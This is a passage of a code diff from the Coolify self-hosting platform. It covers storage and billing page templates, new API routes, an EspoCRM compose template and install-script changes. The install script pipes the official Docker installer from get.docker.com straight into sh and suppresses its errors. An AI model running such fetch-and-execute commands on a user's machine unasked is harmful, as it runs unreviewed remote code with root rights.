shortConfirmationLabel="Storage Name" :confirmWithPassword="false" step2ButtonText="Permanently Delete" />
@endcan
</div>
<div class="flex gap-2">
<x-forms.input canGate="update" :canResource="$storage" label="Name" id="name" />
<x-forms.input canGate="update" :canResource="$storage" label="Description" id="description" />

View file

@ -0,0 +1,107 @@
<div x-data="{ search: '' }">
<x-forms.input placeholder="Search resources..." x-model="search" id="null" />
@if ($groupedBackups->count() > 0)
<div class="overflow-x-auto pt-4">
<div class="inline-block min-w-full">
<div class="overflow-hidden">
<table class="min-w-full">
<thead>
<tr>
<th class="px-5 py-3 text-xs font-medium text-left uppercase">Database</th>
<th class="px-5 py-3 text-xs font-medium text-left uppercase">Frequency</th>
<th class="px-5 py-3 text-xs font-medium text-left uppercase">Status</th>
<th class="px-5 py-3 text-xs font-medium text-left uppercase">S3 Storage</th>
</tr>
</thead>
<tbody>
@foreach ($groupedBackups as $backups)
@php
$firstBackup = $backups->first();
$database = $firstBackup->database;
$databaseName = $database?->name ?? 'Deleted database';
$resourceLink = null;
$backupParams = null;
if ($database && $database instanceof \App\Models\ServiceDatabase) {
$service = $database->service;
if ($service) {
$environment = $service->environment;
$project = $environment?->project;
if ($project && $environment) {
$resourceLink = route('project.service.configuration', [
'project_uuid' => $project->uuid,
'environment_uuid' => $environment->uuid,
'service_uuid' => $service->uuid,
]);
}
}
} elseif ($database) {
$environment = $database->environment;
$project = $environment?->project;
if ($project && $environment) {
$resourceLink = route('project.database.backup.index', [
'project_uuid' => $project->uuid,
'environment_uuid' => $environment->uuid,
'database_uuid' => $database->uuid,
]);
$backupParams = [
'project_uuid' => $project->uuid,
'environment_uuid' => $environment->uuid,
'database_uuid' => $database->uuid,
];
}
}
@endphp
@foreach ($backups as $backup)
<tr class="dark:hover:bg-coolgray-300 hover:bg-neutral-100" x-show="search === '' || '{{ strtolower(addslashes($databaseName)) }}'.includes(search.toLowerCase()) || '{{ strtolower(addslashes($backup->frequency)) }}'.includes(search.toLowerCase())">
<td class="px-5 py-4 text-sm whitespace-nowrap">
@if ($resourceLink)
<a class="hover:underline" {{ wireNavigate() }} href="{{ $resourceLink }}">{{ $databaseName }} <x-internal-link /></a>
@else
{{ $databaseName }}
@endif
</td>
<td class="px-5 py-4 text-sm whitespace-nowrap">
@php
$backupLink = null;
if ($backupParams) {
$backupLink = route('project.database.backup.execution', array_merge($backupParams, [
'backup_uuid' => $backup->uuid,
]));
}
@endphp
@if ($backupLink)
<a class="hover:underline" {{ wireNavigate() }} href="{{ $backupLink }}">{{ $backup->frequency }} <x-internal-link /></a>
@else
{{ $backup->frequency }}
@endif
</td>
<td class="px-5 py-4 text-sm font-medium whitespace-nowrap">
@if ($backup->enabled)
<span class="text-green-500">Enabled</span>
@else
<span class="text-yellow-500">Disabled</span>
@endif
</td>
<td class="px-5 py-4 text-sm whitespace-nowrap">
<div class="flex items-center gap-2">
<select wire:model="selectedStorages.{{ $backup->id }}" class="w-full input">
@foreach ($allStorages as $s3)
<option value="{{ $s3->id }}" @disabled(!$s3->is_usable)>{{ $s3->name }}@if (!$s3->is_usable) (unusable)@endif</option>
@endforeach
</select>
<x-forms.button wire:click="moveBackup({{ $backup->id }})">Save</x-forms.button>
<x-forms.button isError wire:click="disableS3({{ $backup->id }})" wire:confirm="Are you sure you want to disable S3 for this backup schedule?">Disable S3</x-forms.button>
</div>
</td>
</tr>
@endforeach
@endforeach
</tbody>
</table>
</div>
</div>
</div>
@else
<div class="pt-4">No backup schedules are using this storage.</div>
@endif
</div>

View file

@ -2,5 +2,51 @@
<x-slot:title>
{{ data_get_str($storage, 'name')->limit(10) }} >Storages | Coolify
</x-slot>
<livewire:storage.form :storage="$storage" />
<div class="flex items-center gap-2">
<h1>Storage Details</h1>
@if ($storage->is_usable)
<span class="px-2 py-1 text-xs font-semibold text-green-800 bg-green-100 rounded dark:text-green-100 dark:bg-green-800">
Usable
</span>
@else
<span class="px-2 py-1 text-xs font-semibold text-red-800 bg-red-100 rounded dark:text-red-100 dark:bg-red-800">
Not Usable
</span>
@endif
<x-forms.button canGate="update" :canResource="$storage" wire:click="$dispatch('submitStorage')" :disabled="$currentRoute !== 'storage.show'">Save</x-forms.button>
@can('delete', $storage)
<x-modal-confirmation title="Confirm Storage Deletion?" isErrorButton buttonTitle="Delete"
submitAction="delete({{ $storage->id }})" :actions="array_filter([
'The selected storage location will be permanently deleted from Coolify.',
$backupCount > 0
? $backupCount . ' backup schedule(s) will be updated to no longer save to S3 and will only store backups locally on the server.'
: null,
])" confirmationText="{{ $storage->name }}"
confirmationLabel="Please confirm the execution of the actions by entering the Storage Name below"
shortConfirmationLabel="Storage Name" :confirmWithPassword="false" step2ButtonText="Permanently Delete" />
@endcan
</div>
<div class="subtitle">{{ $storage->name }}</div>
<div class="navbar-main">
<nav class="flex shrink-0 gap-6 items-center whitespace-nowrap scrollbar min-h-10">
<a class="{{ request()->routeIs('storage.show') ? 'dark:text-white' : '' }}" {{ wireNavigate() }}
href="{{ route('storage.show', ['storage_uuid' => $storage->uuid]) }}">
General
</a>
<a class="{{ request()->routeIs('storage.resources') ? 'dark:text-white' : '' }}" {{ wireNavigate() }}
href="{{ route('storage.resources', ['storage_uuid' => $storage->uuid]) }}">
Resources
</a>
</nav>
</div>
<div class="pt-4">
@if ($currentRoute === 'storage.show')
<livewire:storage.form :storage="$storage" />
@elseif ($currentRoute === 'storage.resources')
<livewire:storage.resources :storage="$storage" :key="'resources-'.uniqid()" />
@endif
</div>
</div>

View file

@ -35,44 +35,44 @@
}" @success.window="preview = null; showModal = false; qty = $wire.server_limits"
@keydown.escape.window="if (showModal) { closeAdjust(); }" class="-mt-2">
<h3 class="pb-2">Plan Overview</h3>
<div class="grid grid-cols-1 gap-4 xl:grid-cols-3">
{{-- Current Plan Card --}}
<div class="p-5 rounded border dark:bg-coolgray-100 bg-white border-neutral-200 dark:border-coolgray-400">
<div class="text-xs font-bold text-neutral-500 uppercase tracking-wide pb-1">Current Plan</div>
<div class="text-xl font-bold dark:text-warning">
<div class="space-y-2">
<div class="text-sm">
<span class="text-neutral-500">Plan:</span>
<span class="dark:text-warning font-medium">
@if (data_get(currentTeam(), 'subscription')->type() == 'dynamic')
Pay-as-you-go
@else
{{ data_get(currentTeam(), 'subscription')->type() }}
@endif
</div>
<div class="pt-2 text-sm">
</span>
<span class="text-neutral-500">&middot; {{ $billingInterval === 'yearly' ? 'Yearly' : 'Monthly' }}</span>
<span class="text-neutral-500">&middot;</span>
@if (currentTeam()->subscription->stripe_cancel_at_period_end)
<span class="text-red-500 font-medium">Cancelling at end of period</span>
@else
<span class="text-green-500 font-medium">Active</span>
@endif
</div>
<div class="text-sm flex items-center gap-2 flex-wrap">
<span>
<span class="text-neutral-500">Active servers:</span>
<span class="font-medium {{ currentTeam()->serverOverflow() ? 'text-red-500' : 'dark:text-white' }}">{{ currentTeam()->servers->count() }}</span>
<span class="text-neutral-500">/</span>
<span class="font-medium dark:text-white" x-text="current"></span>
<span class="text-neutral-500">paid</span>
</span>
<x-forms.button isHighlighted @click="openAdjust()">Adjust</x-forms.button>
</div>
<div class="text-sm text-neutral-500">
@if ($refundCheckLoading)
<x-loading text="Loading..." />
@elseif ($nextBillingDate)
@if (currentTeam()->subscription->stripe_cancel_at_period_end)
<span class="text-red-500 font-medium">Cancelling at end of period</span>
Cancels on <span class="dark:text-white font-medium">{{ $nextBillingDate }}</span>
@else
<span class="text-green-500 font-medium">Active</span>
<span class="text-neutral-500"> &middot; Invoice
{{ currentTeam()->subscription->stripe_invoice_paid ? 'paid' : 'not paid' }}</span>
Next billing <span class="dark:text-white font-medium">{{ $nextBillingDate }}</span>
@endif
</div>
</div>
{{-- Paid Servers Card --}}
<div class="p-5 rounded border dark:bg-coolgray-100 bg-white border-neutral-200 dark:border-coolgray-400 cursor-pointer hover:border-warning/50 transition-colors"
@click="openAdjust()">
<div class="text-xs font-bold text-neutral-500 uppercase tracking-wide pb-1">Paid Servers</div>
<div class="text-xl font-bold dark:text-white" x-text="current"></div>
<div class="pt-2 text-sm text-neutral-500">Click to adjust</div>
</div>
{{-- Active Servers Card --}}
<div
class="p-5 rounded border dark:bg-coolgray-100 bg-white border-neutral-200 dark:border-coolgray-400 {{ currentTeam()->serverOverflow() ? 'border-red-500 dark:border-red-500' : '' }}">
<div class="text-xs font-bold text-neutral-500 uppercase tracking-wide pb-1">Active Servers</div>
<div class="text-xl font-bold {{ currentTeam()->serverOverflow() ? 'text-red-500' : 'dark:text-white' }}">
{{ currentTeam()->servers->count() }}
</div>
<div class="pt-2 text-sm text-neutral-500">Currently running</div>
@endif
</div>
</div>
@ -99,9 +99,9 @@ class="fixed top-0 left-0 z-99 flex items-center justify-center w-screen h-scree
x-transition:leave-end="opacity-0 -translate-y-2 sm:scale-95"
class="relative w-full border rounded-sm min-w-full lg:min-w-[36rem] max-w-[48rem] max-h-[calc(100vh-2rem)] bg-neutral-100 border-neutral-400 dark:bg-base dark:border-coolgray-300 flex flex-col">
<div class="flex justify-between items-center py-6 px-7 shrink-0">
<h3 class="pr-8 text-2xl font-bold">Adjust Server Limit</h3>
<h3 class="text-2xl font-bold">Adjust Server Limit</h3>
<button @click="closeAdjust()"
class="flex absolute top-2 right-2 justify-center items-center w-8 h-8 rounded-full dark:text-white hover:bg-coolgray-300">
class="flex justify-center items-center w-8 h-8 rounded-full dark:text-white hover:bg-coolgray-300">
<svg class="w-6 h-6" xmlns="http://www.w3.org/2000/svg" fill="none"
viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" />
@ -144,7 +144,12 @@ class="w-20 px-2 py-1 text-xl font-bold text-center rounded border dark:bg-coolg
<p class="text-xs text-neutral-500 pt-1">Charged immediately to your payment method.</p>
</div>
<div>
<div class="text-xs font-bold text-neutral-500 uppercase tracking-wide pb-1.5">Next billing cycle</div>
<div class="text-xs font-bold text-neutral-500 uppercase tracking-wide pb-1.5">
Next billing cycle
@if ($nextBillingDate)
<span class="normal-case font-normal">&middot; {{ $nextBillingDate }}</span>
@endif
</div>
<div class="space-y-1.5">
<div class="flex justify-between gap-6 text-sm">
<span class="text-neutral-500" x-text="preview?.quantity + ' servers × ' + fmt(preview?.unit_price)"></span>
@ -155,7 +160,7 @@ class="w-20 px-2 py-1 text-xl font-bold text-center rounded border dark:bg-coolg
<span class="dark:text-white" x-text="fmt(preview?.recurring_tax)"></span>
</div>
<div class="flex justify-between gap-6 text-sm font-bold pt-1.5 border-t dark:border-coolgray-400 border-neutral-200">
<span class="dark:text-white">Total / month</span>
<span class="dark:text-white">Total / {{ $billingInterval === 'yearly' ? 'year' : 'month' }}</span>
<span class="dark:text-white" x-text="fmt(preview?.recurring_total)"></span>
</div>
</div>
@ -175,7 +180,7 @@ class="w-20 px-2 py-1 text-xl font-bold text-center rounded border dark:bg-coolg
warningMessage="This will update your subscription and charge the prorated amount to your payment method."
step2ButtonText="Confirm & Pay">
<x-slot:content>
<x-forms.button @click="$wire.set('quantity', qty)">
<x-forms.button class="w-full" @click="$wire.set('quantity', qty)">
Update Server Limit
</x-forms.button>
</x-slot:content>
@ -194,11 +199,10 @@ class="w-20 px-2 py-1 text-xl font-bold text-center rounded border dark:bg-coolg
</template>
</section>
{{-- Billing, Refund & Cancellation --}}
{{-- Manage Subscription --}}
<section>
<h3 class="pb-2">Manage Subscription</h3>
<div class="flex flex-wrap items-center gap-2">
{{-- Billing --}}
<x-forms.button class="gap-2" wire:click='stripeCustomerPortal'>
<svg xmlns="http://www.w3.org/2000/svg" class="w-4 h-4" fill="none" viewBox="0 0 24 24"
stroke-width="1.5" stroke="currentColor">
@ -207,8 +211,13 @@ class="w-20 px-2 py-1 text-xl font-bold text-center rounded border dark:bg-coolg
</svg>
Manage Billing on Stripe
</x-forms.button>
</div>
</section>
{{-- Resume or Cancel --}}
{{-- Cancel Subscription --}}
<section>
<h3 class="pb-2">Cancel Subscription</h3>
<div class="flex flex-wrap items-center gap-2">
@if (currentTeam()->subscription->stripe_cancel_at_period_end)
<x-forms.button wire:click="resumeSubscription">Resume Subscription</x-forms.button>
@else
@ -231,10 +240,18 @@ class="w-20 px-2 py-1 text-xl font-bold text-center rounded border dark:bg-coolg
confirmationLabel="Enter your team name to confirm"
shortConfirmationLabel="Team Name" step2ButtonText="Permanently Cancel" />
@endif
</div>
@if (currentTeam()->subscription->stripe_cancel_at_period_end)
<p class="mt-2 text-sm text-neutral-500">Your subscription is set to cancel at the end of the billing period.</p>
@endif
</section>
{{-- Refund --}}
{{-- Refund --}}
<section>
<h3 class="pb-2">Refund</h3>
<div class="flex flex-wrap items-center gap-2">
@if ($refundCheckLoading)
<x-loading text="Checking refund..." />
<x-forms.button disabled>Request Full Refund</x-forms.button>
@elseif ($isRefundEligible && !currentTeam()->subscription->stripe_cancel_at_period_end)
<x-modal-confirmation title="Request Full Refund?" buttonTitle="Request Full Refund"
isErrorButton submitAction="refundSubscription"
@ -245,18 +262,21 @@ class="w-20 px-2 py-1 text-xl font-bold text-center rounded border dark:bg-coolg
]" confirmationText="{{ currentTeam()->name }}"
confirmationLabel="Enter your team name to confirm" shortConfirmationLabel="Team Name"
step2ButtonText="Confirm Refund & Cancel" />
@else
<x-forms.button disabled>Request Full Refund</x-forms.button>
@endif
</div>
{{-- Contextual notes --}}
@if ($isRefundEligible && !currentTeam()->subscription->stripe_cancel_at_period_end)
<p class="mt-2 text-sm text-neutral-500">Eligible for a full refund &mdash; <strong class="dark:text-warning">{{ $refundDaysRemaining }}</strong> days remaining.</p>
@elseif ($refundAlreadyUsed)
<p class="mt-2 text-sm text-neutral-500">Refund already processed. Each team is eligible for one refund only.</p>
@endif
@if (currentTeam()->subscription->stripe_cancel_at_period_end)
<p class="mt-2 text-sm text-neutral-500">Your subscription is set to cancel at the end of the billing period.</p>
@endif
<p class="mt-2 text-sm text-neutral-500">
@if ($refundCheckLoading)
Checking refund eligibility...
@elseif ($isRefundEligible && !currentTeam()->subscription->stripe_cancel_at_period_end)
Eligible for a full refund &mdash; <strong class="dark:text-warning">{{ $refundDaysRemaining }}</strong> days remaining.
@elseif ($refundAlreadyUsed)
Refund already processed. Each team is eligible for one refund only.
@else
Not eligible for a refund.
@endif
</p>
</section>
<div class="text-sm text-neutral-500">

View file

@ -120,6 +120,10 @@
Route::patch('/applications/{uuid}/envs', [ApplicationsController::class, 'update_env_by_uuid'])->middleware(['api.ability:write']);
Route::delete('/applications/{uuid}/envs/{env_uuid}', [ApplicationsController::class, 'delete_env_by_uuid'])->middleware(['api.ability:write']);
Route::get('/applications/{uuid}/logs', [ApplicationsController::class, 'logs_by_uuid'])->middleware(['api.ability:read']);
Route::get('/applications/{uuid}/storages', [ApplicationsController::class, 'storages'])->middleware(['api.ability:read']);
Route::post('/applications/{uuid}/storages', [ApplicationsController::class, 'create_storage'])->middleware(['api.ability:write']);
Route::patch('/applications/{uuid}/storages', [ApplicationsController::class, 'update_storage'])->middleware(['api.ability:write']);
Route::delete('/applications/{uuid}/storages/{storage_uuid}', [ApplicationsController::class, 'delete_storage'])->middleware(['api.ability:write']);
Route::match(['get', 'post'], '/applications/{uuid}/start', [ApplicationsController::class, 'action_deploy'])->middleware(['api.ability:deploy']);
Route::match(['get', 'post'], '/applications/{uuid}/restart', [ApplicationsController::class, 'action_restart'])->middleware(['api.ability:deploy']);
@ -152,6 +156,17 @@
Route::delete('/databases/{uuid}/backups/{scheduled_backup_uuid}', [DatabasesController::class, 'delete_backup_by_uuid'])->middleware(['api.ability:write']);
Route::delete('/databases/{uuid}/backups/{scheduled_backup_uuid}/executions/{execution_uuid}', [DatabasesController::class, 'delete_execution_by_uuid'])->middleware(['api.ability:write']);
Route::get('/databases/{uuid}/storages', [DatabasesController::class, 'storages'])->middleware(['api.ability:read']);
Route::post('/databases/{uuid}/storages', [DatabasesController::class, 'create_storage'])->middleware(['api.ability:write']);
Route::patch('/databases/{uuid}/storages', [DatabasesController::class, 'update_storage'])->middleware(['api.ability:write']);
Route::delete('/databases/{uuid}/storages/{storage_uuid}', [DatabasesController::class, 'delete_storage'])->middleware(['api.ability:write']);
Route::get('/databases/{uuid}/envs', [DatabasesController::class, 'envs'])->middleware(['api.ability:read']);
Route::post('/databases/{uuid}/envs', [DatabasesController::class, 'create_env'])->middleware(['api.ability:write']);
Route::patch('/databases/{uuid}/envs/bulk', [DatabasesController::class, 'create_bulk_envs'])->middleware(['api.ability:write']);
Route::patch('/databases/{uuid}/envs', [DatabasesController::class, 'update_env_by_uuid'])->middleware(['api.ability:write']);
Route::delete('/databases/{uuid}/envs/{env_uuid}', [DatabasesController::class, 'delete_env_by_uuid'])->middleware(['api.ability:write']);
Route::match(['get', 'post'], '/databases/{uuid}/start', [DatabasesController::class, 'action_deploy'])->middleware(['api.ability:deploy']);
Route::match(['get', 'post'], '/databases/{uuid}/restart', [DatabasesController::class, 'action_restart'])->middleware(['api.ability:deploy']);
Route::match(['get', 'post'], '/databases/{uuid}/stop', [DatabasesController::class, 'action_stop'])->middleware(['api.ability:deploy']);
@ -163,6 +178,11 @@
Route::patch('/services/{uuid}', [ServicesController::class, 'update_by_uuid'])->middleware(['api.ability:write']);
Route::delete('/services/{uuid}', [ServicesController::class, 'delete_by_uuid'])->middleware(['api.ability:write']);
Route::get('/services/{uuid}/storages', [ServicesController::class, 'storages'])->middleware(['api.ability:read']);
Route::post('/services/{uuid}/storages', [ServicesController::class, 'create_storage'])->middleware(['api.ability:write']);
Route::patch('/services/{uuid}/storages', [ServicesController::class, 'update_storage'])->middleware(['api.ability:write']);
Route::delete('/services/{uuid}/storages/{storage_uuid}', [ServicesController::class, 'delete_storage'])->middleware(['api.ability:write']);
Route::get('/services/{uuid}/envs', [ServicesController::class, 'envs'])->middleware(['api.ability:read']);
Route::post('/services/{uuid}/envs', [ServicesController::class, 'create_env'])->middleware(['api.ability:write']);
Route::patch('/services/{uuid}/envs/bulk', [ServicesController::class, 'create_bulk_envs'])->middleware(['api.ability:write']);

View file

@ -140,6 +140,7 @@
Route::prefix('storages')->group(function () {
Route::get('/', StorageIndex::class)->name('storage.index');
Route::get('/{storage_uuid}', StorageShow::class)->name('storage.show');
Route::get('/{storage_uuid}/resources', StorageShow::class)->name('storage.resources');
});
Route::prefix('shared-variables')->group(function () {
Route::get('/', SharedVariablesIndex::class)->name('shared-variables.index');

View file

@ -20,7 +20,7 @@ DATE=$(date +"%Y%m%d-%H%M%S")
OS_TYPE=$(grep -w "ID" /etc/os-release | cut -d "=" -f 2 | tr -d '"')
ENV_FILE="/data/coolify/source/.env"
DOCKER_VERSION="27.0"
DOCKER_VERSION="latest"
# TODO: Ask for a user
CURRENT_USER=$USER
@ -499,13 +499,10 @@ fi
install_docker() {
set +e
curl -s https://releases.rancher.com/install-docker/${DOCKER_VERSION}.sh | sh 2>&1 || true
curl -fsSL https://get.docker.com | sh 2>&1 || true
if ! [ -x "$(command -v docker)" ]; then
curl -s https://get.docker.com | sh -s -- --version ${DOCKER_VERSION} 2>&1
if ! [ -x "$(command -v docker)" ]; then
echo "Automated Docker installation failed. Trying manual installation."
install_docker_manually
fi
echo "Automated Docker installation failed. Trying manual installation."
install_docker_manually
fi
set -e
}
@ -548,16 +545,6 @@ if ! [ -x "$(command -v docker)" ]; then
echo " - Docker is not installed. Installing Docker. It may take a while."
getAJoke
case "$OS_TYPE" in
"almalinux")
dnf config-manager --add-repo=https://download.docker.com/linux/centos/docker-ce.repo >/dev/null 2>&1
dnf install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin >/dev/null 2>&1
if ! [ -x "$(command -v docker)" ]; then
echo " - Docker could not be installed automatically. Please visit https://docs.docker.com/engine/install/ and install Docker manually to continue."
exit 1
fi
systemctl start docker >/dev/null 2>&1
systemctl enable docker >/dev/null 2>&1
;;
"alpine" | "postmarketos")
apk add docker docker-cli-compose >/dev/null 2>&1
rc-update add docker default >/dev/null 2>&1
@ -569,8 +556,9 @@ if ! [ -x "$(command -v docker)" ]; then
fi
;;
"arch")
pacman -Sy docker docker-compose --noconfirm >/dev/null 2>&1
pacman -Syu --noconfirm --needed docker docker-compose >/dev/null 2>&1
systemctl enable docker.service >/dev/null 2>&1
systemctl start docker.service >/dev/null 2>&1
if ! [ -x "$(command -v docker)" ]; then
echo " - Failed to install Docker with pacman. Try to install it manually."
echo " Please visit https://wiki.archlinux.org/title/docker for more information."
@ -581,7 +569,7 @@ if ! [ -x "$(command -v docker)" ]; then
dnf install docker -y >/dev/null 2>&1
DOCKER_CONFIG=${DOCKER_CONFIG:-/usr/local/lib/docker}
mkdir -p $DOCKER_CONFIG/cli-plugins >/dev/null 2>&1
curl -sL "https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m)" -o $DOCKER_CONFIG/cli-plugins/docker-compose >/dev/null 2>&1
curl -fsSL "https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m)" -o $DOCKER_CONFIG/cli-plugins/docker-compose >/dev/null 2>&1
chmod +x $DOCKER_CONFIG/cli-plugins/docker-compose >/dev/null 2>&1
systemctl start docker >/dev/null 2>&1
systemctl enable docker >/dev/null 2>&1
@ -591,34 +579,28 @@ if ! [ -x "$(command -v docker)" ]; then
exit 1
fi
;;
"centos" | "fedora" | "rhel" | "tencentos")
if [ -x "$(command -v dnf5)" ]; then
# dnf5 is available
dnf config-manager addrepo --from-repofile=https://download.docker.com/linux/$OS_TYPE/docker-ce.repo --overwrite >/dev/null 2>&1
else
# dnf5 is not available, use dnf
dnf config-manager --add-repo=https://download.docker.com/linux/$OS_TYPE/docker-ce.repo >/dev/null 2>&1
fi
"almalinux" | "tencentos")
dnf config-manager --add-repo=https://download.docker.com/linux/centos/docker-ce.repo >/dev/null 2>&1
dnf install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin >/dev/null 2>&1
systemctl start docker >/dev/null 2>&1
systemctl enable docker >/dev/null 2>&1
if ! [ -x "$(command -v docker)" ]; then
echo " - Docker could not be installed automatically. Please visit https://docs.docker.com/engine/install/ and install Docker manually to continue."
exit 1
fi
systemctl start docker >/dev/null 2>&1
systemctl enable docker >/dev/null 2>&1
;;
"ubuntu" | "debian" | "raspbian")
"ubuntu" | "debian" | "raspbian" | "centos" | "fedora" | "rhel" | "sles")
install_docker
if ! [ -x "$(command -v docker)" ]; then
echo " - Automated Docker installation failed. Trying manual installation."
install_docker_manually
echo " - Docker could not be installed automatically. Please visit https://docs.docker.com/engine/install/ and install Docker manually to continue."
exit 1
fi
;;
*)
install_docker
if ! [ -x "$(command -v docker)" ]; then
echo " - Automated Docker installation failed. Trying manual installation."
install_docker_manually
echo " - Docker could not be installed automatically. Please visit https://docs.docker.com/engine/install/ and install Docker manually to continue."
exit 1
fi
;;
esac
@ -627,6 +609,19 @@ else
echo " - Docker is installed."
fi
# Verify minimum Docker version
MIN_DOCKER_VERSION=24
INSTALLED_DOCKER_VERSION=$(docker version --format '{{.Server.Version}}' 2>/dev/null | cut -d. -f1)
if [ -z "$INSTALLED_DOCKER_VERSION" ]; then
echo " - WARNING: Could not determine Docker version. Please ensure Docker $MIN_DOCKER_VERSION+ is installed."
elif [ "$INSTALLED_DOCKER_VERSION" -lt "$MIN_DOCKER_VERSION" ]; then
echo " - ERROR: Docker version $INSTALLED_DOCKER_VERSION is too old. Coolify requires Docker $MIN_DOCKER_VERSION or newer."
echo " Please upgrade Docker: https://docs.docker.com/engine/install/"
exit 1
else
echo " - Docker version $(docker version --format '{{.Server.Version}}' 2>/dev/null) meets minimum requirement ($MIN_DOCKER_VERSION+)."
fi
log_section "Step 4/9: Checking Docker configuration"
echo "4/9 Checking Docker configuration..."

View file

@ -1,3 +1,4 @@
# ignore: true
# documentation: https://booklore.org/docs/getting-started
# slogan: Booklore is an open-source library management system for your digital book collection.
# tags: media, books, kobo, epub, ebook, KOreader

View file

@ -0,0 +1,75 @@
# documentation: https://docs.espocrm.com
# slogan: EspoCRM is a free and open-source CRM platform.
# category: cms
# tags: crm, self-hosted, open-source, workflow, automation, project management
# logo: svgs/espocrm.svg
# port: 80
services:
espocrm:
image: espocrm/espocrm:9
environment:
- SERVICE_URL_ESPOCRM
- ESPOCRM_ADMIN_USERNAME=${ESPOCRM_ADMIN_USERNAME:-admin}
- ESPOCRM_ADMIN_PASSWORD=${SERVICE_PASSWORD_ADMIN}
- ESPOCRM_DATABASE_PLATFORM=Mysql
- ESPOCRM_DATABASE_HOST=espocrm-db
- ESPOCRM_DATABASE_NAME=${MARIADB_DATABASE:-espocrm}
- ESPOCRM_DATABASE_USER=${SERVICE_USER_MARIADB}
- ESPOCRM_DATABASE_PASSWORD=${SERVICE_PASSWORD_MARIADB}
- ESPOCRM_SITE_URL=${SERVICE_URL_ESPOCRM}
volumes:
- espocrm:/var/www/html
healthcheck:
test: ["CMD", "curl", "-f", "http://127.0.0.1:80"]
interval: 2s
start_period: 60s
timeout: 10s
retries: 15
depends_on:
espocrm-db:
condition: service_healthy
espocrm-daemon:
image: espocrm/espocrm:9
container_name: espocrm-daemon
volumes:
- espocrm:/var/www/html
restart: always
entrypoint: docker-daemon.sh
depends_on:
espocrm:
condition: service_healthy
espocrm-websocket:
image: espocrm/espocrm:9
container_name: espocrm-websocket
environment:
- SERVICE_URL_ESPOCRM_WEBSOCKET_8080
- ESPOCRM_CONFIG_USE_WEB_SOCKET=true
- ESPOCRM_CONFIG_WEB_SOCKET_URL=$SERVICE_URL_ESPOCRM_WEBSOCKET
- ESPOCRM_CONFIG_WEB_SOCKET_ZERO_M_Q_SUBSCRIBER_DSN=tcp://*:7777
- ESPOCRM_CONFIG_WEB_SOCKET_ZERO_M_Q_SUBMISSION_DSN=tcp://espocrm-websocket:7777
volumes:
- espocrm:/var/www/html
restart: always
entrypoint: docker-websocket.sh
depends_on:
espocrm:
condition: service_healthy
espocrm-db:
image: mariadb:11.8
environment:
- MARIADB_DATABASE=${MARIADB_DATABASE:-espocrm}
- MARIADB_USER=${SERVICE_USER_MARIADB}
- MARIADB_PASSWORD=${SERVICE_PASSWORD_MARIADB}
- MARIADB_ROOT_PASSWORD=${SERVICE_PASSWORD_ROOT}
volumes:
- espocrm-db:/var/lib/mysql
healthcheck:
test: ["CMD", "healthcheck.sh", "--connect", "--innodb_initialized"]
interval: 20s
start_period: 10s
timeout: 10s
retries: 3

View file

@ -818,7 +818,7 @@
"databasus": {
"documentation": "https://databasus.com/installation?utm_source=coolify.io",
"slogan": "Databasus is a free, open source and self-hosted tool to backup PostgreSQL, MySQL, and MongoDB.",
"compose": "c2VydmljZXM6CiAgZGF0YWJhc3VzOgogICAgaW1hZ2U6ICdkYXRhYmFzdXMvZGF0YWJhc3VzOnYyLjE4LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9EQVRBQkFTVVNfNDAwNQogICAgdm9sdW1lczoKICAgICAgLSAnZGF0YWJhc3VzLWRhdGE6L2RhdGFiYXN1cy1kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcU8tJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3Q6NDAwNS9hcGkvdjEvc3lzdGVtL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiA1Cg==",
"compose": "c2VydmljZXM6CiAgZGF0YWJhc3VzOgogICAgaW1hZ2U6ICdkYXRhYmFzdXMvZGF0YWJhc3VzOnYzLjE2LjInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9EQVRBQkFTVVNfNDAwNQogICAgdm9sdW1lczoKICAgICAgLSAnZGF0YWJhc3VzLWRhdGE6L2RhdGFiYXN1cy1kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcU8tJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3Q6NDAwNS9hcGkvdjEvc3lzdGVtL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiA1Cg==",
"tags": [
"postgres",
"mysql",
@ -1951,7 +1951,7 @@
"heyform": {
"documentation": "https://docs.heyform.net/open-source/self-hosting?utm_source=coolify.io",
"slogan": "Allows anyone to create engaging conversational forms for surveys, questionnaires, quizzes, and polls. No coding skills required.",
